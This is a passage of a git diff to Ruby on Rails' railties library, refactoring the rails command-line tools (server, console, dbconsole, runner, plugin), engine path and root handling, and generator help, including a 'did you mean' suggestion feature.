+++ b/railties/lib/rails/commands/commands_tasks.rb
@@ -20,7 +20,6 @@ The most common rails commands are:
              new application called MyApp in "./my_app"
 
 In addition to those, there are:
- application  Generate the Rails application code
  destroy      Undo code generated with "generate" (short-cut alias: "d")
  plugin new   Generates skeleton for developing a Rails plugin
  runner       Run a piece of code in the application environment (short-cut alias: "r")
@@ -28,7 +27,7 @@ In addition to those, there are:
 All commands can be run with -h (or --help) for more information.
 EOT
 
-    COMMAND_WHITELIST = %(plugin generate destroy console server dbconsole application runner new version help)
+    COMMAND_WHITELIST = %w(plugin generate destroy console server dbconsole runner new version help)
 
     def initialize(argv)
       @argv = argv
@@ -51,6 +50,10 @@ EOT
       generate_or_destroy(:generate)
     end
 
+    def destroy
+      generate_or_destroy(:destroy)
+    end
+
     def console
       require_command!("console")
       options = Rails::Console.parse_arguments(argv)
@@ -83,10 +86,6 @@ EOT
       Rails::DBConsole.start
     end
 
-    def application
-      require_command!("application")
-    end
-
     def runner
       require_command!("runner")
     end
@@ -128,14 +127,14 @@ EOT
         require 'rails/generators'
         require_application_and_environment!
         Rails.application.load_generators
-        require "rails/commands/#{command}"
+        require_command!(command)
       end
 
       # Change to the application's path if there is no config.ru file in current directory.
       # This allows us to run `rails server` from other directories, but still get
       # the main config.ru and properly set the tmp directory.
       def set_application_directory!
-        Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru"))
+        Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exist?(File.expand_path("config.ru"))
       end
 
       def require_application_and_environment!
diff --git a/railties/lib/rails/commands/console.rb b/railties/lib/rails/commands/console.rb
index f6bdf129d6..5d37a2b699 100644
--- a/railties/lib/rails/commands/console.rb
+++ b/railties/lib/rails/commands/console.rb
@@ -18,7 +18,6 @@ module Rails
           opt.on("-e", "--environment=name", String,
                   "Specifies the environment to run this console under (test/development/production).",
                   "Default: development") { |v| options[:environment] = v.strip }
-          opt.on("--debugger", 'Enable the debugger.') { |v| options[:debugger] = v }
           opt.parse!(arguments)
         end
 
@@ -69,12 +68,7 @@ module Rails
       Rails.env = environment
     end
 
-    def debugger?
-      options[:debugger]
-    end
-
     def start
-      require_debugger if debugger?
       set_environment! if environment?
 
       if sandbox?
@@ -85,17 +79,9 @@ module Rails
       end
 
       if defined?(console::ExtendCommandBundle)
-        console::ExtendCommandBundle.send :include, Rails::ConsoleMethods
+        console::ExtendCommandBundle.include(Rails::ConsoleMethods)
       end
       console.start
     end
-
-    def require_debugger
-      require 'debugger'
-      puts "=> Debugger enabled"
-    rescue LoadError
-      puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle it and try again."
-      exit(1)
-    end
   end
 end
diff --git a/railties/lib/rails/commands/dbconsole.rb b/railties/lib/rails/commands/dbconsole.rb
index 3e4cc787c4..5175e31f14 100644
--- a/railties/lib/rails/commands/dbconsole.rb
+++ b/railties/lib/rails/commands/dbconsole.rb
@@ -1,7 +1,6 @@
 require 'erb'
 require 'yaml'
 require 'optparse'
-require 'rbconfig'
 
 module Rails
   class DBConsole
@@ -20,7 +19,7 @@ module Rails
       ENV['RAILS_ENV'] = options[:environment] || environment
 
       case config["adapter"]
-      when /^mysql/
+      when /^(jdbc)?mysql/
         args = {
           'host'      => '--host',
           'port'      => '--port',
@@ -44,7 +43,7 @@ module Rails
 
         find_cmd_and_exec(['mysql', 'mysql5'], *args)
 
-      when "postgresql", "postgres", "postgis"
+      when /^postgres|^postgis/
         ENV['PGUSER']     = config["username"] if config["username"]
         ENV['PGHOST']     = config["host"] if config["host"]
         ENV['PGPORT']     = config["port"].to_s if config["port"]
@@ -74,6 +73,21 @@ module Rails
 
         find_cmd_and_exec('sqlplus', logon)
 
+      when "sqlserver"
+        args = []
+
+        args += ["-D", "#{config['database']}"] if config['database']
+        args += ["-U", "#{config['username']}"] if config['username']
+        args += ["-P", "#{config['password']}"] if config['password']
+
+        if config['host']
+          host_arg = "#{config['host']}"
+          host_arg << ":#{config['port']}" if config['port']
+          args += ["-S", host_arg]
+        end
+
+        find_cmd_and_exec("sqsh", *args)
+
       else
         abort "Unknown command-line client for #{config['database']}. Submit a Rails patch to add support!"
       end
@@ -81,14 +95,11 @@ module Rails
 
     def config
       @config ||= begin
-        cfg = begin
-          YAML.load(ERB.new(IO.read("config/database.yml")).result)
-        rescue SyntaxError, StandardError
-          require APP_PATH
-          Rails.application.config.database_configuration
+        if configurations[environment].blank?
+          raise ActiveRecord::AdapterNotSpecified, "'#{environment}' database is not configured. Available configuration: #{configurations.inspect}"
+        else
+          configurations[environment]
         end
-
-        cfg[environment] || abort("No database is configured for the environment '#{environment}'")
       end
     end
 
@@ -102,6 +113,12 @@ module Rails
 
     protected
 
+    def configurations
+      require APP_PATH
+      ActiveRecord::Base.configurations = Rails.application.config.database_configuration
+      ActiveRecord::Base.configurations
+    end
+
     def parse_arguments(arguments)
       options = {}
 
@@ -154,13 +171,15 @@ module Rails
       commands = Array(commands)
 
       dirs_on_path = ENV['PATH'].to_s.split(File::PATH_SEPARATOR)
-      commands += commands.map{|cmd| "#{cmd}.exe"} if RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
+      unless (ext = RbConfig::CONFIG['EXEEXT']).empty?
+        commands = commands.map{|cmd| "#{cmd}#{ext}"}
+      end
 
       full_path_command = nil
       found = commands.detect do |cmd|
         dirs_on_path.detect do |path|
           full_path_command = File.join(path, cmd)
-          File.executable? full_path_command
+          File.file?(full_path_command) && File.executable?(full_path_command)
         end
       end
 
diff --git a/railties/lib/rails/commands/destroy.rb b/railties/lib/rails/commands/destroy.rb
index 5479da86a0..ce26cc3fde 100644
--- a/railties/lib/rails/commands/destroy.rb
+++ b/railties/lib/rails/commands/destroy.rb
@@ -1,5 +1,7 @@
 require 'rails/generators'
 
+#if no argument/-h/--help is passed to rails destroy command, then
+#it generates the help associated.
 if [nil, "-h", "--help"].include?(ARGV.first)
   Rails::Generators.help 'destroy'
   exit
diff --git a/railties/lib/rails/commands/generate.rb b/railties/lib/rails/commands/generate.rb
index 351c59c645..926c36b967 100644
--- a/railties/lib/rails/commands/generate.rb
+++ b/railties/lib/rails/commands/generate.rb
@@ -1,5 +1,7 @@
 require 'rails/generators'
 
+#if no argument/-h/--help is passed to rails generate command, then
+#it generates the help associated.
 if [nil, "-h", "--help"].include?(ARGV.first)
   Rails::Generators.help 'generate'
   exit
diff --git a/railties/lib/rails/commands/plugin.rb b/railties/lib/rails/commands/plugin.rb
index 837fe0ec10..52d8966ead 100644
--- a/railties/lib/rails/commands/plugin.rb
+++ b/railties/lib/rails/commands/plugin.rb
@@ -2,6 +2,20 @@ if ARGV.first != "new"
   ARGV[0] = "--help"
 else
   ARGV.shift
+  unless ARGV.delete("--no-rc")
+    customrc = ARGV.index{ |x| x.include?("--rc=") }
+    railsrc = if customrc
+                File.expand_path(ARGV.delete_at(customrc).gsub(/--rc=/, ""))
+              else
+                File.join(File.expand_path("~"), '.railsrc')
+              end
+    if File.exist?(railsrc)
+      extra_args_string = File.read(railsrc)
+      extra_args = extra_args_string.split(/\n+/).flat_map(&:split)
+      puts "Using #{extra_args.join(" ")} from #{railsrc}"
+      ARGV.insert(1, *extra_args)
+    end
+  end
 end
 
 require 'rails/generators'
diff --git a/railties/lib/rails/commands/runner.rb b/railties/lib/rails/commands/runner.rb
index 2b77d5d387..86bce9b2fe 100644
--- a/railties/lib/rails/commands/runner.rb
+++ b/railties/lib/rails/commands/runner.rb
@@ -1,5 +1,4 @@
 require 'optparse'
-require 'rbconfig'
 
 options = { environment: (ENV['RAILS_ENV'] || ENV['RACK_ENV'] || "development").dup }
 code_or_file = nil
@@ -9,7 +8,7 @@ if ARGV.first.nil?
 end
 
 ARGV.clone.options do |opts|
-  opts.banner = "Usage: rails runner [options] ('Some.ruby(code)' or a filename)"
+  opts.banner = "Usage: rails runner [options] [<'Some.ruby(code)'> | <filename.rb>]"
 
   opts.separator ""
 
@@ -22,14 +21,23 @@ ARGV.clone.options do |opts|
   opts.on("-h", "--help",
           "Show this help message.") { $stdout.puts opts; exit }
 
+    opts.separator ""
+    opts.separator "Examples: "
+
+    opts.separator "    rails runner 'puts Rails.env'"
+    opts.separator "        This runs the code `puts Rails.env` after loading the app"
+    opts.separator ""
+    opts.separator "    rails runner path/to/filename.rb"
+    opts.separator "        This runs the Ruby file located at `path/to/filename.rb` after loading the app"
+
   if RbConfig::CONFIG['host_os'] !~ /mswin|mingw/
     opts.separator ""
     opts.separator "You can also use runner as a shebang line for your executables:"
-    opts.separator "-------------------------------------------------------------"
-    opts.separator "#!/usr/bin/env #{File.expand_path($0)} runner"
+    opts.separator "    -------------------------------------------------------------"
+    opts.separator "    #!/usr/bin/env #{File.expand_path($0)} runner"
     opts.separator ""
-    opts.separator "Product.all.each { |p| p.price *= 2 ; p.save! }"
-    opts.separator "-------------------------------------------------------------"
+    opts.separator "    Product.all.each { |p| p.price *= 2 ; p.save! }"
+    opts.separator "    -------------------------------------------------------------"
   end
 
   opts.order! { |o| code_or_file ||= o } rescue retry
@@ -50,5 +58,5 @@ elsif File.exist?(code_or_file)
   $0 = code_or_file
   Kernel.load code_or_file
 else
-  eval(code_or_file)
+  eval(code_or_file, binding, __FILE__, __LINE__)
 end
diff --git a/railties/lib/rails/commands/server.rb b/railties/lib/rails/commands/server.rb
index 87d6505ed5..bc8f1a8dea 100644
--- a/railties/lib/rails/commands/server.rb
+++ b/railties/lib/rails/commands/server.rb
@@ -1,6 +1,7 @@
 require 'fileutils'
 require 'optparse'
 require 'action_dispatch'
+require 'rails'
 
 module Rails
   class Server < ::Rack::Server
@@ -8,32 +9,36 @@ module Rails
       def parse!(args)
         args, options = args.dup, {}
 
-        opt_parser = OptionParser.new do |opts|
-          opts.banner = "Usage: rails server [mongrel, thin, etc] [options]"
+        option_parser(options).parse! args
+
+        options[:log_stdout] = options[:daemonize].blank? && (options[:environment] || Rails.env) == "development"
+        options[:server]     = args.shift
+        options
+      end
+
+      private
+
+      def option_parser(options)
+        OptionParser.new do |opts|
+          opts.banner = "Usage: rails server [mongrel, thin etc] [options]"
           opts.on("-p", "--port=port", Integer,
                   "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
-          opts.on("-b", "--binding=ip", String,
-                  "Binds Rails to the specified ip.", "Default: 0.0.0.0") { |v| options[:Host] = v }
+          opts.on("-b", "--binding=IP", String,
+                  "Binds Rails to the specified IP.", "Default: localhost") { |v| options[:Host] = v }
           opts.on("-c", "--config=file", String,
-                  "Use custom rackup configuration file") { |v| options[:config] = v }
-          opts.on("-d", "--daemon", "Make server run as a Daemon.") { options[:daemonize] = true }
-          opts.on("-u", "--debugger", "Enable the debugger") { options[:debugger] = true }
+                  "Uses a custom rackup configuration.") { |v| options[:config] = v }
+          opts.on("-d", "--daemon", "Runs server as a Daemon.") { options[:daemonize] = true }
           opts.on("-e", "--environment=name", String,
                   "Specifies the environment to run this server under (test/development/production).",
                   "Default: development") { |v| options[:environment] = v }
-          opts.on("-P","--pid=pid",String,
+          opts.on("-P", "--pid=pid", String,
                   "Specifies the PID file.",
                   "Default: tmp/pids/server.pid") { |v| options[:pid] = v }
 
           opts.separator ""
 
-          opts.on("-h", "--help", "Show this help message.") { puts opts; exit }
+          opts.on("-h", "--help", "Shows this help message.") { puts opts; exit }
         end
-
-        opt_parser.parse! args
-
-        options[:server] = args.shift
-        options
       end
     end
 
@@ -59,30 +64,10 @@ module Rails
     end
 
     def start
-      url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
-      puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
-      puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}"
-      puts "=> Run `rails server -h` for more startup options"
-      if options[:Host].to_s.match(/0\.0\.0\.0/)
-        puts "=> Notice: server is listening on all interfaces (#{options[:Host]}). Consider using 127.0.0.1 (--binding option)"
-      end
+      print_boot_information
       trap(:INT) { exit }
-      puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
-
-      #Create required tmp directories if not found
-      %w(cache pids sessions sockets).each do |dir_to_make|
-        FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
-      end
-
-      unless options[:daemonize]
-        wrapped_app # touch the app so the logger is set up
-
-        console = ActiveSupport::Logger.new($stdout)
-        console.formatter = Rails.logger.formatter
-        console.level = Rails.logger.level
-
-        Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
-      end
+      create_tmp_directories
+      log_to_stdout if options[:log_stdout]
 
       super
     ensure
@@ -93,7 +78,6 @@ module Rails
 
     def middleware
       middlewares = []
-      middlewares << [Rails::Rack::Debugger]  if options[:debugger]
       middlewares << [::Rack::ContentLength]
 
       # FIXME: add Rack::Lock in the case people are using webrick.
@@ -113,14 +97,40 @@ module Rails
 
     def default_options
       super.merge({
-        Port:         3000,
-        DoNotReverseLookup:  true,
-        environment:  (ENV['RAILS_ENV'] || ENV['RACK_ENV'] || "development").dup,
-        daemonize:    false,
-        debugger:     false,
-        pid:          File.expand_path("tmp/pids/server.pid"),
-        config:       File.expand_path("config.ru")
+        Port:               3000,
+        DoNotReverseLookup: true,
+        environment:        (ENV['RAILS_ENV'] || ENV['RACK_ENV'] || "development").dup,
+        daemonize:          false,
+        pid:                File.expand_path("tmp/pids/server.pid"),
+        config:             File.expand_path("config.ru")
       })
     end
+
+    private
+
+      def print_boot_information
+        url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
+        puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
+        puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}"
+        puts "=> Run `rails server -h` for more startup options"
+
+        puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
+      end
+
+      def create_tmp_directories
+        %w(cache pids sockets).each do |dir_to_make|
+          FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
+        end
+      end
+
+      def log_to_stdout
+        wrapped_app # touch the app so the logger is set up
+
+        console = ActiveSupport::Logger.new($stdout)
+        console.formatter = Rails.logger.formatter
+        console.level = Rails.logger.level
+
+        Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
+      end
   end
 end
diff --git a/railties/lib/rails/commands/update.rb b/railties/lib/rails/commands/update.rb
deleted file mode 100644
index 59fae5c337..0000000000
--- a/railties/lib/rails/commands/update.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-require File.expand_path(File.join(File.dirname(__FILE__), '..', 'generators'))
-
-if ARGV.size == 0
-  Rails::Generators.help
-  exit
-end
-
-name = ARGV.shift
-Rails::Generators.invoke name, ARGV, behavior: :skip
diff --git a/railties/lib/rails/configuration.rb b/railties/lib/rails/configuration.rb
index c694513960..f99cec04c5 100644
--- a/railties/lib/rails/configuration.rb
+++ b/railties/lib/rails/configuration.rb
@@ -18,11 +18,11 @@ module Rails
     # This will put the <tt>Magical::Unicorns</tt> middleware on the end of the stack.
     # You can use +insert_before+ if you wish to add a middleware before another:
     #
-    #     config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
+    #     config.middleware.insert_before Rack::Head, Magical::Unicorns
     #
     # There's also +insert_after+ which will insert a middleware after another:
     #
-    #     config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
+    #     config.middleware.insert_after Rack::Head, Magical::Unicorns
     #
     # Middlewares can also be completely swapped out and replaced with others:
     #
@@ -59,6 +59,10 @@ module Rails
         @operations << [__method__, args, block]
       end
 
+      def unshift(*args, &block)
+        @operations << [__method__, args, block]
+      end
+
       def merge_into(other) #:nodoc:
         @operations.each do |operation, args, block|
           other.send(operation, *args, &block)
diff --git a/railties/lib/rails/deprecation.rb b/railties/lib/rails/deprecation.rb
deleted file mode 100644
index 89f54069e9..0000000000
--- a/railties/lib/rails/deprecation.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-require 'active_support/deprecation/proxy_wrappers'
-
-module Rails
-  class DeprecatedConstant < ActiveSupport::Deprecation::DeprecatedConstantProxy
-    def self.deprecate(old, current)
-      # double assignment is used to avoid "assigned but unused variable" warning
-      constant = constant = new(old, current)
-      eval "::#{old} = constant"
-    end
-
-    private
-
-    def target
-      ::Kernel.eval @new_const.to_s
-    end
-  end
-
-  DeprecatedConstant.deprecate('RAILS_CACHE', '::Rails.cache')
-end
diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb
index f25f629aa5..e1d5caf790 100644
--- a/railties/lib/rails/engine.rb
+++ b/railties/lib/rails/engine.rb
@@ -2,7 +2,6 @@ require 'rails/railtie'
 require 'rails/engine/railties'
 require 'active_support/core_ext/module/delegation'
 require 'pathname'
-require 'rbconfig'
 
 module Rails
   # <tt>Rails::Engine</tt> allows you to wrap a specific Rails application or subset of
@@ -111,8 +110,8 @@ module Rails
   #
   # == Endpoint
   #
-  # An engine can be also a rack application. It can be useful if you have a rack application that
-  # you would like to wrap with +Engine+ and provide some of the +Engine+'s features.
+  # An engine can also be a rack application. It can be useful if you have a rack application that
+  # you would like to wrap with +Engine+ and provide with some of the +Engine+'s features.
   #
   # To do that, use the +endpoint+ method:
   #
@@ -218,7 +217,7 @@ module Rails
   # <tt>url_helpers</tt> from <tt>MyEngine::Engine.routes</tt>.
   #
   # The next thing that changes in isolated engines is the behavior of routes. Normally, when you namespace
-  # your controllers, you also need to do namespace all your routes. With an isolated engine,
+  # your controllers, you also need to namespace all your routes. With an isolated engine,
   # the namespace is applied by default, so you can ignore it in routes:
   #
   #   MyEngine::Engine.routes.draw do
@@ -260,7 +259,7 @@ module Rails
   #
   #   class FooController < ApplicationController
   #     def index
-  #       my_engine.root_url #=> /my_engine/
+  #       my_engine.root_url # => /my_engine/
   #     end
   #   end
   #
@@ -269,7 +268,7 @@ module Rails
   #   module MyEngine
   #     class BarController
   #       def index
-  #         main_app.foo_path #=> /foo
+  #         main_app.foo_path # => /foo
   #       end
   #     end
   #   end
@@ -297,7 +296,7 @@ module Rails
   #     helper MyEngine::SharedEngineHelper
   #   end
   #
-  # If you want to include all of the engine's helpers, you can use #helper method on an engine's
+  # If you want to include all of the engine's helpers, you can use the #helper method on an engine's
   # instance:
   #
   #   class ApplicationController < ActionController::Base
@@ -313,7 +312,7 @@ module Rails
   # Engines can have their own migrations. The default path for migrations is exactly the same
   # as in application: <tt>db/migrate</tt>
   #
-  # To use engine's migrations in application you can use rake task, which copies them to
+  # To use engine's migrations in application you can use the rake task below, which copies them to
   # application's dir:
   #
   #   rake ENGINE_NAME:install:migrations
@@ -329,7 +328,7 @@ module Rails
   #
   # == Loading priority
   #
-  # In order to change engine's priority you can use +config.railties_order+ in main application.
+  # In order to change engine's priority you can use +config.railties_order+ in the main application.
   # It will affect the priority of loading views, helpers, assets and all the other files
   # related to engine or application.
   #
@@ -351,8 +350,13 @@ module Rails
           Rails::Railtie::Configuration.eager_load_namespaces << base
 
           base.called_from = begin
-            # Remove the line number from backtraces making sure we don't leave anything behind
-            call_stack = caller.map { |p| p.sub(/:\d+.*/, '') }
+            call_stack = if Kernel.respond_to?(:caller_locations)
+              caller_locations.map { |l| l.absolute_path || l.path }
+            else
+              # Remove the line number from backtraces making sure we don't leave anything behind
+              caller.map { |p| p.sub(/:\d+.*/, '') }
+            end
+
             File.dirname(call_stack.detect { |p| p !~ %r[railties[\w.-]*/lib/rails|rack[\w.-]*/lib/rack] })
           end
         end
@@ -360,6 +364,10 @@ module Rails
         super
       end
 
+      def find_root(from)
+        find_root_with_flag "lib", from
+      end
+
       def endpoint(endpoint = nil)
         @endpoint ||= nil
         @endpoint = endpoint if endpoint
@@ -367,7 +375,7 @@ module Rails
       end
 
       def isolate_namespace(mod)
-        engine_name(generate_railtie_name(mod))
+        engine_name(generate_railtie_name(mod.name))
 
         self.routes.default_scope = { module: ActiveSupport::Inflector.underscore(mod.name) }
         self.isolated = true
@@ -391,7 +399,7 @@ module Rails
             end
 
             unless mod.respond_to?(:railtie_routes_url_helpers)
-              define_method(:railtie_routes_url_helpers) { railtie.routes.url_helpers }
+              define_method(:railtie_routes_url_helpers) {|include_path_helpers = true| railtie.routes.url_helpers(include_path_helpers) }
             end
           end
         end
@@ -425,7 +433,6 @@ module Rails
     # Load console and invoke the registered hooks.
     # Check <tt>Rails::Railtie.console</tt> for more info.
     def load_console(app=self)
-      require "pp"
       require "rails/console/app"
       require "rails/console/helpers"
       run_console_blocks(app)
@@ -460,7 +467,7 @@ module Rails
     # files inside eager_load paths.
     def eager_load!
       config.eager_load_paths.each do |load_path|
-        matcher = /\A#{Regexp.escape(load_path)}\/(.*)\.rb\Z/
+        matcher = /\A#{Regexp.escape(load_path.to_s)}\/(.*)\.rb\Z/
         Dir.glob("#{load_path}/**/*.rb").sort.each do |file|
           require_dependency file.sub(matcher, '\1')
         end
@@ -477,7 +484,7 @@ module Rails
         helpers = Module.new
         all = ActionController::Base.all_helpers_from_path(helpers_paths)
         ActionController::Base.modules_for_helpers(all).each do |mod|
-          helpers.send(:include, mod)
+          helpers.include(mod)
         end
         helpers
       end
@@ -506,7 +513,7 @@ module Rails
     def call(env)
       env.merge!(env_config)
       if env['SCRIPT_NAME']
-        env.merge! "ROUTES_#{routes.object_id}_SCRIPT_NAME" => env['SCRIPT_NAME'].dup
+        env["ROUTES_#{routes.object_id}_SCRIPT_NAME"] = env['SCRIPT_NAME'].dup
       end
       app.call(env)
     end
@@ -528,7 +535,7 @@ module Rails
 
     # Define the configuration object for the engine.
     def config
-      @config ||= Engine::Configuration.new(find_root_with_flag("lib"))
+      @config ||= Engine::Configuration.new(self.class.find_root(self.class.called_from))
     end
 
     # Load data from db/seeds.rb file. It can be used in to load engines'
@@ -564,10 +571,10 @@ module Rails
     end
 
     initializer :add_routing_paths do |app|
-      paths = self.paths["config/routes.rb"].existent
+      routing_paths = self.paths["config/routes.rb"].existent
 
-      if routes? || paths.any?
-        app.routes_reloader.paths.unshift(*paths)
+      if routes? || routing_paths.any?
+        app.routes_reloader.paths.unshift(*routing_paths)
         app.routes_reloader.route_sets << routes
       end
     end
@@ -592,12 +599,6 @@ module Rails
       end
     end
 
-    initializer :append_assets_path, group: :all do |app|
-      app.config.assets.paths.unshift(*paths["vendor/assets"].existent_directories)
-      app.config.assets.paths.unshift(*paths["lib/assets"].existent_directories)
-      app.config.assets.paths.unshift(*paths["app/assets"].existent_directories)
-    end
-
     initializer :prepend_helpers_path do |app|
       if !isolated? || (app == self)
         app.config.helpers_paths.unshift(*paths["app/helpers"].existent)
@@ -606,7 +607,7 @@ module Rails
 
     initializer :load_config_initializers do
       config.paths["config/initializers"].existent.sort.each do |initializer|
-        load(initializer)
+        load_config_initializer(initializer)
       end
     end
 
@@ -640,6 +641,12 @@ module Rails
 
     protected
 
+    def load_config_initializer(initializer)
+      ActiveSupport::Notifications.instrument('load_config_initializer.railties', initializer: initializer) do
+        load(initializer)
+      end
+    end
+
     def run_tasks_blocks(*) #:nodoc:
       super
       paths["lib/tasks"].existent.sort.each { |ext| load(ext) }
@@ -649,8 +656,7 @@ module Rails
       paths["db/migrate"].existent.any?
     end
 
-    def find_root_with_flag(flag, default=nil) #:nodoc:
-      root_path = self.class.called_from
+    def self.find_root_with_flag(flag, root_path, default=nil) #:nodoc:
 
       while root_path && File.directory?(root_path) && !File.exist?("#{root_path}/#{flag}")
         parent = File.dirname(root_path)
diff --git a/railties/lib/rails/engine/configuration.rb b/railties/lib/rails/engine/configuration.rb
index 10d1821709..62a4139d07 100644
--- a/railties/lib/rails/engine/configuration.rb
+++ b/railties/lib/rails/engine/configuration.rb
@@ -39,7 +39,7 @@ module Rails
         @paths ||= begin
           paths = Rails::Paths::Root.new(@root)
 
-          paths.add "app",                 eager_load: true, glob: "*"
+          paths.add "app",                 eager_load: true, glob: "{*,*/concerns}"
           paths.add "app/assets",          glob: "*"
           paths.add "app/controllers",     eager_load: true
           paths.add "app/helpers",         eager_load: true
@@ -47,9 +47,6 @@ module Rails
           paths.add "app/mailers",         eager_load: true
           paths.add "app/views"
 
-          paths.add "app/controllers/concerns", eager_load: true
-          paths.add "app/models/concerns",      eager_load: true
-
           paths.add "lib",                 load_path: true
           paths.add "lib/assets",          glob: "*"
           paths.add "lib/tasks",           glob: "**/*.rake"
diff --git a/railties/lib/rails/gem_version.rb b/railties/lib/rails/gem_version.rb
new file mode 100644
index 0000000000..7d74b1bfe5
--- /dev/null
+++ b/railties/lib/rails/gem_version.rb
@@ -0,0 +1,15 @@
+module Rails
+  # Returns the version of the currently loaded Rails as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 0
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb
index 6b34db3e3f..db8b184213 100644
--- a/railties/lib/rails/generators.rb
+++ b/railties/lib/rails/generators.rb
@@ -1,6 +1,8 @@
 activesupport_path = File.expand_path('../../../../activesupport/lib', __FILE__)
 $:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path)
 
+require 'thor/group'
+
 require 'active_support'
 require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/kernel/singleton_class'
@@ -9,12 +11,11 @@ require 'active_support/core_ext/hash/deep_merge'
 require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/string/inflections'
 
-require 'rails/generators/base'
-
 module Rails
   module Generators
     autoload :Actions,         'rails/generators/actions'
     autoload :ActiveModel,     'rails/generators/active_model'
+    autoload :Base,            'rails/generators/base'
     autoload :Migration,       'rails/generators/migration'
     autoload :NamedBase,       'rails/generators/named_base'
     autoload :ResourceHelpers, 'rails/generators/resource_helpers'
@@ -152,13 +153,23 @@ module Rails
     def self.invoke(namespace, args=ARGV, config={})
       names = namespace.to_s.split(':')
       if klass = find_by_namespace(names.pop, names.any? && names.join(':'))
-        args << "--help" if args.empty? && klass.arguments.any? { |a| a.required? }
+        args << "--help" if args.empty? && klass.arguments.any?(&:required?)
         klass.start(args, config)
       else
-        puts "Could not find generator #{namespace}."
+        options     = sorted_groups.flat_map(&:last)
+        suggestions = options.sort_by {|suggested| levenshtein_distance(namespace.to_s, suggested) }.first(3)
+        msg =  "Could not find generator '#{namespace}'. "
+        msg << "Maybe you meant #{ suggestions.map {|s| "'#{s}'"}.join(" or ") }\n"
+        msg << "Run `rails generate --help` for more options."
+        puts msg
       end
     end
 
+    # Returns an array of generator namespaces that are hidden.
+    # Generator namespaces may be hidden for a variety of reasons.
+    # Some are aliased such as "rails:migration" and can be
+    # invoked with the shorter "migration", others are private to other generators
+    # such as "css:scaffold".
     def self.hidden_namespaces
       @hidden_namespaces ||= begin
         orm      = options[:rails][:orm]
@@ -198,17 +209,6 @@ module Rails
 
     # Show help message with available generators.
     def self.help(command = 'generate')
-      lookup!
-
-      namespaces = subclasses.map{ |k| k.namespace }
-      namespaces.sort!
-
-      groups = Hash.new { |h,k| h[k] = [] }
-      namespaces.each do |namespace|
-        base = namespace.split(':').first
-        groups[base] << namespace
-      end
-
       puts "Usage: rails #{command} GENERATOR [args] [options]"
       puts
       puts "General options:"
@@ -221,20 +221,74 @@ module Rails
       puts "Please choose a generator below."
       puts
 
-      # Print Rails defaults first.
+      print_generators
+    end
+
+    def self.public_namespaces
+      lookup!
+      subclasses.map(&:namespace)
+    end
+
+    def self.print_generators
+      sorted_groups.each { |b, n| print_list(b, n) }
+    end
+
+    def self.sorted_groups
+      namespaces = public_namespaces
+      namespaces.sort!
+      groups = Hash.new { |h,k| h[k] = [] }
+      namespaces.each do |namespace|
+        base = namespace.split(':').first
+        groups[base] << namespace
+      end
       rails = groups.delete("rails")
       rails.map! { |n| n.sub(/^rails:/, '') }
       rails.delete("app")
       rails.delete("plugin")
-      print_list("rails", rails)
 
       hidden_namespaces.each { |n| groups.delete(n.to_s) }
 
-      groups.sort.each { |b, n| print_list(b, n) }
+      [["rails", rails]] + groups.sort.to_a
     end
 
     protected
 
+      # This code is based directly on the Text gem implementation
+      # Returns a value representing the "cost" of transforming str1 into str2
+      def self.levenshtein_distance str1, str2
+        s = str1
+        t = str2
+        n = s.length
+        m = t.length
+        max = n/2
+
+        return m if (0 == n)
+        return n if (0 == m)
+        return n if (n - m).abs > max
+
+        d = (0..m).to_a
+        x = nil
+
+        str1.each_char.each_with_index do |char1,i|
+          e = i+1
+
+          str2.each_char.each_with_index do |char2,j|
+            cost = (char1 == char2) ? 0 : 1
+            x = [
+                 d[j+1] + 1, # insertion
+                 e + 1,      # deletion
+                 d[j] + cost # substitution
+                ].min
+            d[j] = e
+            e = x
+          end
+
+          d[m] = x
+        end
+
+        x
+      end
+
       # Prints a list of generators.
       def self.print_list(base, namespaces) #:nodoc:
         namespaces = namespaces.reject do |n|
diff --git a/railties/lib/rails/generators/actions.rb b/railties/lib/rails/generators/actions.rb
index 366c72ebaa..c1bc646c65 100644
--- a/railties/lib/rails/generators/actions.rb
+++ b/railties/lib/rails/generators/actions.rb
@@ -1,5 +1,4 @@
 require 'open-uri'
-require 'rbconfig'
 
 module Rails
   module Generators
@@ -7,9 +6,10 @@ module Rails
       def initialize(*) # :nodoc:
         super
         @in_group = nil
+        @after_bundle_callbacks = []
       end
 
-      # Adds an entry into Gemfile for the supplied gem.
+      # Adds an entry into +Gemfile+ for the supplied gem.
       #
       #   gem "rspec", group: :test
       #   gem "technoweenie-restful-authentication", lib: "restful-authentication", source: "http://gems.github.com/"
@@ -20,9 +20,9 @@ module Rails
 
         # Set the message to be shown in logs. Uses the git repo if one is given,
         # otherwise use name (version).
-        parts, message = [ name.inspect ], name
+        parts, message = [ quote(name) ], name
